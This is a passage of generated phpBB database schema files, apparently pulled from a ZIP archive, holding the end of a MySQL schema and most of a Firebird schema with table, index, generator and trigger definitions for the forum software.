`utf8_bin`; # Table: 'phpbb_warnings' CREATE TABLE phpbb_warnings ( warning_id mediumint(8) UNSIGNED NOT NULL auto_increment, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, post_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, log_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, warning_time int(11) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (warning_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_words' CREATE TABLE phpbb_words ( word_id mediumint(8) UNSIGNED NOT NULL auto_increment, word varchar(255) DEFAULT '' NOT NULL, replacement varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (word_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_zebra' CREATE TABLE phpbb_zebra ( user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, zebra_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, friend tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, foe tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (user_id, zebra_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; PK‰† [6B<ÂQÌQÌschemas/firebird_schema.sqlnuW+A„¶# DO NOT EDIT THIS FILE, IT IS GENERATED # # To change the contents of this file, edit # phpBB/develop/create_schema_files.php and # run it. # Table: 'phpbb_attachments' CREATE TABLE phpbb_attachments ( attach_id INTEGER NOT NULL, post_msg_id INTEGER DEFAULT 0 NOT NULL, topic_id INTEGER DEFAULT 0 NOT NULL, in_message INTEGER DEFAULT 0 NOT NULL, poster_id INTEGER DEFAULT 0 NOT NULL, is_orphan INTEGER DEFAULT 1 NOT NULL, physical_filename VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, real_filename VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, download_count INTEGER DEFAULT 0 NOT NULL, attach_comment BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, extension VARCHAR(100) CHARACTER SET NONE DEFAULT '' NOT NULL, mimetype VARCHAR(100) CHARACTER SET NONE DEFAULT '' NOT NULL, filesize INTEGER DEFAULT 0 NOT NULL, filetime INTEGER DEFAULT 0 NOT NULL, thumbnail INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_attachments ADD PRIMARY KEY (attach_id);; CREATE INDEX phpbb_attachments_filetime ON phpbb_attachments(filetime);; CREATE INDEX phpbb_attachments_post_msg_id ON phpbb_attachments(post_msg_id);; CREATE INDEX phpbb_attachments_topic_id ON phpbb_attachments(topic_id);; CREATE INDEX phpbb_attachments_poster_id ON phpbb_attachments(poster_id);; CREATE INDEX phpbb_attachments_is_orphan ON phpbb_attachments(is_orphan);; CREATE GENERATOR phpbb_attachments_gen;; SET GENERATOR phpbb_attachments_gen TO 0;; CREATE TRIGGER t_phpbb_attachments FOR phpbb_attachments BEFORE INSERT AS BEGIN NEW.attach_id = GEN_ID(phpbb_attachments_gen, 1); END;; # Table: 'phpbb_acl_groups' CREATE TABLE phpbb_acl_groups ( group_id INTEGER DEFAULT 0 NOT NULL, forum_id INTEGER DEFAULT 0 NOT NULL, auth_option_id INTEGER DEFAULT 0 NOT NULL, auth_role_id INTEGER DEFAULT 0 NOT NULL, auth_setting INTEGER DEFAULT 0 NOT NULL );; CREATE INDEX phpbb_acl_groups_group_id ON phpbb_acl_groups(group_id);; CREATE INDEX phpbb_acl_groups_auth_opt_id ON phpbb_acl_groups(auth_option_id);; CREATE INDEX phpbb_acl_groups_auth_role_id ON phpbb_acl_groups(auth_role_id);; # Table: 'phpbb_acl_options' CREATE TABLE phpbb_acl_options ( auth_option_id INTEGER NOT NULL, auth_option VARCHAR(50) CHARACTER SET NONE DEFAULT '' NOT NULL, is_global INTEGER DEFAULT 0 NOT NULL, is_local INTEGER DEFAULT 0 NOT NULL, founder_only INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_acl_options ADD PRIMARY KEY (auth_option_id);; CREATE UNIQUE INDEX phpbb_acl_options_auth_option ON phpbb_acl_options(auth_option);; CREATE GENERATOR phpbb_acl_options_gen;; SET GENERATOR phpbb_acl_options_gen TO 0;; CREATE TRIGGER t_phpbb_acl_options FOR phpbb_acl_options BEFORE INSERT AS BEGIN NEW.auth_option_id = GEN_ID(phpbb_acl_options_gen, 1); END;; # Table: 'phpbb_acl_roles' CREATE TABLE phpbb_acl_roles ( role_id INTEGER NOT NULL, role_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, role_description BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, role_type VARCHAR(10) CHARACTER SET NONE DEFAULT '' NOT NULL, role_order INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_acl_roles ADD PRIMARY KEY (role_id);; CREATE INDEX phpbb_acl_roles_role_type ON phpbb_acl_roles(role_type);; CREATE INDEX phpbb_acl_roles_role_order ON phpbb_acl_roles(role_order);; CREATE GENERATOR phpbb_acl_roles_gen;; SET GENERATOR phpbb_acl_roles_gen TO 0;; CREATE TRIGGER t_phpbb_acl_roles FOR phpbb_acl_roles BEFORE INSERT AS BEGIN NEW.role_id = GEN_ID(phpbb_acl_roles_gen, 1); END;; # Table: 'phpbb_acl_roles_data' CREATE TABLE phpbb_acl_roles_data ( role_id INTEGER DEFAULT 0 NOT NULL, auth_option_id INTEGER DEFAULT 0 NOT NULL, auth_setting INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_acl_roles_data ADD PRIMARY KEY (role_id, auth_option_id);; CREATE INDEX phpbb_acl_roles_data_ath_op_id ON phpbb_acl_roles_data(auth_option_id);; # Table: 'phpbb_acl_users' CREATE TABLE phpbb_acl_users ( user_id INTEGER DEFAULT 0 NOT NULL, forum_id INTEGER DEFAULT 0 NOT NULL, auth_option_id INTEGER DEFAULT 0 NOT NULL, auth_role_id INTEGER DEFAULT 0 NOT NULL, auth_setting INTEGER DEFAULT 0 NOT NULL );; CREATE INDEX phpbb_acl_users_user_id ON phpbb_acl_users(user_id);; CREATE INDEX phpbb_acl_users_auth_option_id ON phpbb_acl_users(auth_option_id);; CREATE INDEX phpbb_acl_users_auth_role_id ON phpbb_acl_users(auth_role_id);; # Table: 'phpbb_banlist' CREATE TABLE phpbb_banlist ( ban_id INTEGER NOT NULL, ban_userid INTEGER DEFAULT 0 NOT NULL, ban_ip VARCHAR(40) CHARACTER SET NONE DEFAULT '' NOT NULL, ban_email VARCHAR(100) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, ban_start INTEGER DEFAULT 0 NOT NULL, ban_end INTEGER DEFAULT 0 NOT NULL, ban_exclude INTEGER DEFAULT 0 NOT NULL, ban_reason VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, ban_give_reason VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE );; ALTER TABLE phpbb_banlist ADD PRIMARY KEY (ban_id);; CREATE INDEX phpbb_banlist_ban_end ON phpbb_banlist(ban_end);; CREATE INDEX phpbb_banlist_ban_user ON phpbb_banlist(ban_userid, ban_exclude);; CREATE INDEX phpbb_banlist_ban_email ON phpbb_banlist(ban_email, ban_exclude);; CREATE INDEX phpbb_banlist_ban_ip ON phpbb_banlist(ban_ip, ban_exclude);; CREATE GENERATOR phpbb_banlist_gen;; SET GENERATOR phpbb_banlist_gen TO 0;; CREATE TRIGGER t_phpbb_banlist FOR phpbb_banlist BEFORE INSERT AS BEGIN NEW.ban_id = GEN_ID(phpbb_banlist_gen, 1); END;; # Table: 'phpbb_bbcodes' CREATE TABLE phpbb_bbcodes ( bbcode_id INTEGER DEFAULT 0 NOT NULL, bbcode_tag VARCHAR(16) CHARACTER SET NONE DEFAULT '' NOT NULL, bbcode_helpline VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, display_on_posting INTEGER DEFAULT 0 NOT NULL, bbcode_match BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, bbcode_tpl BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, first_pass_match BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, first_pass_replace BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, second_pass_match BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, second_pass_replace BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL );; ALTER TABLE phpbb_bbcodes ADD PRIMARY KEY (bbcode_id);; CREATE INDEX phpbb_bbcodes_display_on_post ON phpbb_bbcodes(display_on_posting);; # Table: 'phpbb_bookmarks' CREATE TABLE phpbb_bookmarks ( topic_id INTEGER DEFAULT 0 NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_bookmarks ADD PRIMARY KEY (topic_id, user_id);; # Table: 'phpbb_bots' CREATE TABLE phpbb_bots ( bot_id INTEGER NOT NULL, bot_active INTEGER DEFAULT 1 NOT NULL, bot_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_id INTEGER DEFAULT 0 NOT NULL, bot_agent VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, bot_ip VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL );; ALTER TABLE phpbb_bots ADD PRIMARY KEY (bot_id);; CREATE INDEX phpbb_bots_bot_active ON phpbb_bots(bot_active);; CREATE GENERATOR phpbb_bots_gen;; SET GENERATOR phpbb_bots_gen TO 0;; CREATE TRIGGER t_phpbb_bots FOR phpbb_bots BEFORE INSERT AS BEGIN NEW.bot_id = GEN_ID(phpbb_bots_gen, 1); END;; # Table: 'phpbb_config' CREATE TABLE phpbb_config ( config_name VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, config_value VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, is_dynamic INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_config ADD PRIMARY KEY (config_name);; CREATE INDEX phpbb_config_is_dynamic ON phpbb_config(is_dynamic);; # Table: 'phpbb_confirm' CREATE TABLE phpbb_confirm ( confirm_id CHAR(32) CHARACTER SET NONE DEFAULT '' NOT NULL, session_id CHAR(32) CHARACTER SET NONE DEFAULT '' NOT NULL, confirm_type INTEGER DEFAULT 0 NOT NULL, code VARCHAR(8) CHARACTER SET NONE DEFAULT '' NOT NULL, seed INTEGER DEFAULT 0 NOT NULL, attempts INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_confirm ADD PRIMARY KEY (session_id, confirm_id);; CREATE INDEX phpbb_confirm_confirm_type ON phpbb_confirm(confirm_type);; # Table: 'phpbb_disallow' CREATE TABLE phpbb_disallow ( disallow_id INTEGER NOT NULL, disallow_username VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE );; ALTER TABLE phpbb_disallow ADD PRIMARY KEY (disallow_id);; CREATE GENERATOR phpbb_disallow_gen;; SET GENERATOR phpbb_disallow_gen TO 0;; CREATE TRIGGER t_phpbb_disallow FOR phpbb_disallow BEFORE INSERT AS BEGIN NEW.disallow_id = GEN_ID(phpbb_disallow_gen, 1); END;; # Table: 'phpbb_drafts' CREATE TABLE phpbb_drafts ( draft_id INTEGER NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, topic_id INTEGER DEFAULT 0 NOT NULL, forum_id INTEGER DEFAULT 0 NOT NULL, save_time INTEGER DEFAULT 0 NOT NULL, draft_subject VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, draft_message BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL );; ALTER TABLE phpbb_drafts ADD PRIMARY KEY (draft_id);; CREATE INDEX phpbb_drafts_save_time ON phpbb_drafts(save_time);; CREATE GENERATOR phpbb_drafts_gen;; SET GENERATOR phpbb_drafts_gen TO 0;; CREATE TRIGGER t_phpbb_drafts FOR phpbb_drafts BEFORE INSERT AS BEGIN NEW.draft_id = GEN_ID(phpbb_drafts_gen, 1); END;; # Table: 'phpbb_extensions' CREATE TABLE phpbb_extensions ( extension_id INTEGER NOT NULL, group_id INTEGER DEFAULT 0 NOT NULL, extension VARCHAR(100) CHARACTER SET NONE DEFAULT '' NOT NULL );; ALTER TABLE phpbb_extensions ADD PRIMARY KEY (extension_id);; CREATE GENERATOR phpbb_extensions_gen;; SET GENERATOR phpbb_extensions_gen TO 0;; CREATE TRIGGER t_phpbb_extensions FOR phpbb_extensions BEFORE INSERT AS BEGIN NEW.extension_id = GEN_ID(phpbb_extensions_gen, 1); END;; # Table: 'phpbb_extension_groups' CREATE TABLE phpbb_extension_groups ( group_id INTEGER NOT NULL, group_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, cat_id INTEGER DEFAULT 0 NOT NULL, allow_group INTEGER DEFAULT 0 NOT NULL, download_mode INTEGER DEFAULT 1 NOT NULL, upload_icon VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, max_filesize INTEGER DEFAULT 0 NOT NULL, allowed_forums BLOB SUB_TYPE TEXT CHARACTER SET NONE DEFAULT '' NOT NULL, allow_in_pm INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_extension_groups ADD PRIMARY KEY (group_id);; CREATE GENERATOR phpbb_extension_groups_gen;; SET GENERATOR phpbb_extension_groups_gen TO 0;; CREATE TRIGGER t_phpbb_extension_groups FOR phpbb_extension_groups BEFORE INSERT AS BEGIN NEW.group_id = GEN_ID(phpbb_extension_groups_gen, 1); END;; # Table: 'phpbb_forums' CREATE TABLE phpbb_forums ( forum_id INTEGER NOT NULL, parent_id INTEGER DEFAULT 0 NOT NULL, left_id INTEGER DEFAULT 0 NOT NULL, right_id INTEGER DEFAULT 0 NOT NULL, forum_parents BLOB SUB_TYPE TEXT CHARACTER SET NONE DEFAULT '' NOT NULL, forum_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, forum_desc BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, forum_desc_bitfield VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, forum_desc_options INTEGER DEFAULT 7 NOT NULL, forum_desc_uid VARCHAR(8) CHARACTER SET NONE DEFAULT '' NOT NULL, forum_link VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, forum_password VARCHAR(40) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, forum_style INTEGER DEFAULT 0 NOT NULL, forum_image VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, forum_rules BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, forum_rules_link VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, forum_rules_bitfield VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, forum_rules_options INTEGER DEFAULT 7 NOT NULL, forum_rules_uid VARCHAR(8) CHARACTER SET NONE DEFAULT '' NOT NULL, forum_topics_per_page INTEGER DEFAULT 0 NOT NULL, forum_type INTEGER DEFAULT 0 NOT NULL, forum_status INTEGER DEFAULT 0 NOT NULL, forum_posts INTEGER DEFAULT 0 NOT NULL, forum_topics INTEGER DEFAULT 0 NOT NULL, forum_topics_real INTEGER DEFAULT 0 NOT NULL, forum_last_post_id INTEGER DEFAULT 0 NOT NULL, forum_last_poster_id INTEGER DEFAULT 0 NOT NULL, forum_last_post_subject VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, forum_last_post_time INTEGER DEFAULT 0 NOT NULL, forum_last_poster_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, forum_last_poster_colour VARCHAR(6) CHARACTER SET NONE DEFAULT '' NOT NULL, forum_flags INTEGER DEFAULT 32 NOT NULL, forum_options INTEGER DEFAULT 0 NOT NULL, display_subforum_list INTEGER DEFAULT 1 NOT NULL, display_on_index INTEGER DEFAULT 1 NOT NULL, enable_indexing INTEGER DEFAULT 1 NOT NULL, enable_icons INTEGER DEFAULT 1 NOT NULL, enable_prune INTEGER DEFAULT 0 NOT NULL, prune_next INTEGER DEFAULT 0 NOT NULL, prune_days INTEGER DEFAULT 0 NOT NULL, prune_viewed INTEGER DEFAULT 0 NOT NULL, prune_freq INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_forums ADD PRIMARY KEY (forum_id);; CREATE INDEX phpbb_forums_left_right_id ON phpbb_forums(left_id, right_id);; CREATE INDEX phpbb_forums_forum_lastpost_id ON phpbb_forums(forum_last_post_id);; CREATE GENERATOR phpbb_forums_gen;; SET GENERATOR phpbb_forums_gen TO 0;; CREATE TRIGGER t_phpbb_forums FOR phpbb_forums BEFORE INSERT AS BEGIN NEW.forum_id = GEN_ID(phpbb_forums_gen, 1); END;; # Table: 'phpbb_forums_access' CREATE TABLE phpbb_forums_access ( forum_id INTEGER DEFAULT 0 NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, session_id CHAR(32) CHARACTER SET NONE DEFAULT '' NOT NULL );; ALTER TABLE phpbb_forums_access ADD PRIMARY KEY (forum_id, user_id, session_id);; # Table: 'phpbb_forums_track' CREATE TABLE phpbb_forums_track ( user_id INTEGER DEFAULT 0 NOT NULL, forum_id INTEGER DEFAULT 0 NOT NULL, mark_time INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_forums_track ADD PRIMARY KEY (user_id, forum_id);; # Table: 'phpbb_forums_watch' CREATE TABLE phpbb_forums_watch ( forum_id INTEGER DEFAULT 0 NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, notify_status INTEGER DEFAULT 0 NOT NULL );; CREATE INDEX phpbb_forums_watch_forum_id ON phpbb_forums_watch(forum_id);; CREATE INDEX phpbb_forums_watch_user_id ON phpbb_forums_watch(user_id);; CREATE INDEX phpbb_forums_watch_notify_stat ON phpbb_forums_watch(notify_status);; # Table: 'phpbb_groups' CREATE TABLE phpbb_groups ( group_id INTEGER NOT NULL, group_type INTEGER DEFAULT 1 NOT NULL, group_founder_manage INTEGER DEFAULT 0 NOT NULL, group_skip_auth INTEGER DEFAULT 0 NOT NULL, group_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, group_desc BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, group_desc_bitfield VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, group_desc_options INTEGER DEFAULT 7 NOT NULL, group_desc_uid VARCHAR(8) CHARACTER SET NONE DEFAULT '' NOT NULL, group_display INTEGER DEFAULT 0 NOT NULL, group_avatar VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, group_avatar_type INTEGER DEFAULT 0 NOT NULL, group_avatar_width INTEGER DEFAULT 0 NOT NULL, group_avatar_height INTEGER DEFAULT 0 NOT NULL, group_rank INTEGER DEFAULT 0 NOT NULL, group_colour VARCHAR(6) CHARACTER SET NONE DEFAULT '' NOT NULL, group_sig_chars INTEGER DEFAULT 0 NOT NULL, group_receive_pm INTEGER DEFAULT 0 NOT NULL, group_message_limit INTEGER DEFAULT 0 NOT NULL, group_max_recipients INTEGER DEFAULT 0 NOT NULL, group_legend INTEGER DEFAULT 1 NOT NULL );; ALTER TABLE phpbb_groups ADD PRIMARY KEY (group_id);; CREATE INDEX phpbb_groups_group_legend_name ON phpbb_groups(group_legend, group_name);; CREATE GENERATOR phpbb_groups_gen;; SET GENERATOR phpbb_groups_gen TO 0;; CREATE TRIGGER t_phpbb_groups FOR phpbb_groups BEFORE INSERT AS BEGIN NEW.group_id = GEN_ID(phpbb_groups_gen, 1); END;; # Table: 'phpbb_icons' CREATE TABLE phpbb_icons ( icons_id INTEGER NOT NULL, icons_url VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, icons_width INTEGER DEFAULT 0 NOT NULL, icons_height INTEGER DEFAULT 0 NOT NULL, icons_order INTEGER DEFAULT 0 NOT NULL, display_on_posting INTEGER DEFAULT 1 NOT NULL );; ALTER TABLE phpbb_icons ADD PRIMARY KEY (icons_id);; CREATE INDEX phpbb_icons_display_on_posting ON phpbb_icons(display_on_posting);; CREATE GENERATOR phpbb_icons_gen;; SET GENERATOR phpbb_icons_gen TO 0;; CREATE TRIGGER t_phpbb_icons FOR phpbb_icons BEFORE INSERT AS BEGIN NEW.icons_id = GEN_ID(phpbb_icons_gen, 1); END;; # Table: 'phpbb_lang' CREATE TABLE phpbb_lang ( lang_id INTEGER NOT NULL, lang_iso VARCHAR(30) CHARACTER SET NONE DEFAULT '' NOT NULL, lang_dir VARCHAR(30) CHARACTER SET NONE DEFAULT '' NOT NULL, lang_english_name VARCHAR(100) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, lang_local_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, lang_author VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE );; ALTER TABLE phpbb_lang ADD PRIMARY KEY (lang_id);; CREATE INDEX phpbb_lang_lang_iso ON phpbb_lang(lang_iso);; CREATE GENERATOR phpbb_lang_gen;; SET GENERATOR phpbb_lang_gen TO 0;; CREATE TRIGGER t_phpbb_lang FOR phpbb_lang BEFORE INSERT AS BEGIN NEW.lang_id = GEN_ID(phpbb_lang_gen, 1); END;; # Table: 'phpbb_log' CREATE TABLE phpbb_log ( log_id INTEGER NOT NULL, log_type INTEGER DEFAULT 0 NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, forum_id INTEGER DEFAULT 0 NOT NULL, topic_id INTEGER DEFAULT 0 NOT NULL, reportee_id INTEGER DEFAULT 0 NOT NULL, log_ip VARCHAR(40) CHARACTER SET NONE DEFAULT '' NOT NULL, log_time INTEGER DEFAULT 0 NOT NULL, log_operation BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, log_data BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL );; ALTER TABLE phpbb_log ADD PRIMARY KEY (log_id);; CREATE INDEX phpbb_log_log_type ON phpbb_log(log_type);; CREATE INDEX phpbb_log_forum_id ON phpbb_log(forum_id);; CREATE INDEX phpbb_log_topic_id ON phpbb_log(topic_id);; CREATE INDEX phpbb_log_reportee_id ON phpbb_log(reportee_id);; CREATE INDEX phpbb_log_user_id ON phpbb_log(user_id);; CREATE GENERATOR phpbb_log_gen;; SET GENERATOR phpbb_log_gen TO 0;; CREATE TRIGGER t_phpbb_log FOR phpbb_log BEFORE INSERT AS BEGIN NEW.log_id = GEN_ID(phpbb_log_gen, 1); END;; # Table: 'phpbb_login_attempts' CREATE TABLE phpbb_login_attempts ( attempt_ip VARCHAR(40) CHARACTER SET NONE DEFAULT '' NOT NULL, attempt_browser VARCHAR(150) CHARACTER SET NONE DEFAULT '' NOT NULL, attempt_forwarded_for VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, attempt_time INTEGER DEFAULT 0 NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, username VARCHAR(255) CHARACTER SET UTF8 DEFAULT 0 NOT NULL COLLATE UNICODE, username_clean VARCHAR(255) CHARACTER SET UTF8 DEFAULT 0 NOT NULL COLLATE UNICODE );; CREATE INDEX phpbb_login_attempts_att_ip ON phpbb_login_attempts(attempt_ip, attempt_time);; CREATE INDEX phpbb_login_attempts_att_for ON phpbb_login_attempts(attempt_forwarded_for, attempt_time);; CREATE INDEX phpbb_login_attempts_att_time ON phpbb_login_attempts(attempt_time);; CREATE INDEX phpbb_login_attempts_user_id ON phpbb_login_attempts(user_id);; # Table: 'phpbb_moderator_cache' CREATE TABLE phpbb_moderator_cache ( forum_id INTEGER DEFAULT 0 NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, username VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, group_id INTEGER DEFAULT 0 NOT NULL, group_name VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, display_on_index INTEGER DEFAULT 1 NOT NULL );; CREATE INDEX phpbb_moderator_cache_disp_idx ON phpbb_moderator_cache(display_on_index);; CREATE INDEX phpbb_moderator_cache_forum_id ON phpbb_moderator_cache(forum_id);; # Table: 'phpbb_modules' CREATE TABLE phpbb_modules ( module_id INTEGER NOT NULL, module_enabled INTEGER DEFAULT 1 NOT NULL, module_display INTEGER DEFAULT 1 NOT NULL, module_basename VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, module_class VARCHAR(10) CHARACTER SET NONE DEFAULT '' NOT NULL, parent_id INTEGER DEFAULT 0 NOT NULL, left_id INTEGER DEFAULT 0 NOT NULL, right_id INTEGER DEFAULT 0 NOT NULL, module_langname VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, module_mode VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, module_auth VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL );; ALTER TABLE phpbb_modules ADD PRIMARY KEY (module_id);; CREATE INDEX phpbb_modules_left_right_id ON phpbb_modules(left_id, right_id);; CREATE INDEX phpbb_modules_module_enabled ON phpbb_modules(module_enabled);; CREATE INDEX phpbb_modules_class_left_id ON phpbb_modules(module_class, left_id);; CREATE GENERATOR phpbb_modules_gen;; SET GENERATOR phpbb_modules_gen TO 0;; CREATE TRIGGER t_phpbb_modules FOR phpbb_modules BEFORE INSERT AS BEGIN NEW.module_id = GEN_ID(phpbb_modules_gen, 1); END;; # Table: 'phpbb_poll_options' CREATE TABLE phpbb_poll_options ( poll_option_id INTEGER DEFAULT 0 NOT NULL, topic_id INTEGER DEFAULT 0 NOT NULL, poll_option_text BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, poll_option_total INTEGER DEFAULT 0 NOT NULL );; CREATE INDEX phpbb_poll_options_poll_opt_id ON phpbb_poll_options(poll_option_id);; CREATE INDEX phpbb_poll_options_topic_id ON phpbb_poll_options(topic_id);; # Table: 'phpbb_poll_votes' CREATE TABLE phpbb_poll_votes ( topic_id INTEGER DEFAULT 0 NOT NULL, poll_option_id INTEGER DEFAULT 0 NOT NULL, vote_user_id INTEGER DEFAULT 0 NOT NULL, vote_user_ip VARCHAR(40) CHARACTER SET NONE DEFAULT '' NOT NULL );; CREATE INDEX phpbb_poll_votes_topic_id ON phpbb_poll_votes(topic_id);; CREATE INDEX phpbb_poll_votes_vote_user_id ON phpbb_poll_votes(vote_user_id);; CREATE INDEX phpbb_poll_votes_vote_user_ip ON phpbb_poll_votes(vote_user_ip);; # Table: 'phpbb_posts' CREATE TABLE phpbb_posts ( post_id INTEGER NOT NULL, topic_id INTEGER DEFAULT 0 NOT NULL, forum_id INTEGER DEFAULT 0 NOT NULL, poster_id INTEGER DEFAULT 0 NOT NULL, icon_id INTEGER DEFAULT 0 NOT NULL, poster_ip VARCHAR(40) CHARACTER SET NONE DEFAULT '' NOT NULL, post_time INTEGER DEFAULT 0 NOT NULL, post_approved INTEGER DEFAULT 1 NOT NULL, post_reported INTEGER DEFAULT 0 NOT NULL, enable_bbcode INTEGER DEFAULT 1 NOT NULL, enable_smilies INTEGER DEFAULT 1 NOT NULL, enable_magic_url INTEGER DEFAULT 1 NOT NULL, enable_sig INTEGER DEFAULT 1 NOT NULL, post_username VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, post_subject VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, post_text BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, post_checksum VARCHAR(32) CHARACTER SET NONE DEFAULT '' NOT NULL, post_attachment INTEGER DEFAULT 0 NOT NULL, bbcode_bitfield VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, bbcode_uid VARCHAR(8) CHARACTER SET NONE DEFAULT '' NOT NULL, post_postcount INTEGER DEFAULT 1 NOT NULL, post_edit_time INTEGER DEFAULT 0 NOT NULL, post_edit_reason VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, post_edit_user INTEGER DEFAULT 0 NOT NULL, post_edit_count INTEGER DEFAULT 0 NOT NULL, post_edit_locked INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_posts ADD PRIMARY KEY (post_id);; CREATE INDEX phpbb_posts_forum_id ON phpbb_posts(forum_id);; CREATE INDEX phpbb_posts_topic_id ON phpbb_posts(topic_id);; CREATE INDEX phpbb_posts_poster_ip ON phpbb_posts(poster_ip);; CREATE INDEX phpbb_posts_poster_id ON phpbb_posts(poster_id);; CREATE INDEX phpbb_posts_post_approved ON phpbb_posts(post_approved);; CREATE INDEX phpbb_posts_post_username ON phpbb_posts(post_username);; CREATE INDEX phpbb_posts_tid_post_time ON phpbb_posts(topic_id, post_time);; CREATE GENERATOR phpbb_posts_gen;; SET GENERATOR phpbb_posts_gen TO 0;; CREATE TRIGGER t_phpbb_posts FOR phpbb_posts BEFORE INSERT AS BEGIN NEW.post_id = GEN_ID(phpbb_posts_gen, 1); END;; # Table: 'phpbb_privmsgs' CREATE TABLE phpbb_privmsgs ( msg_id 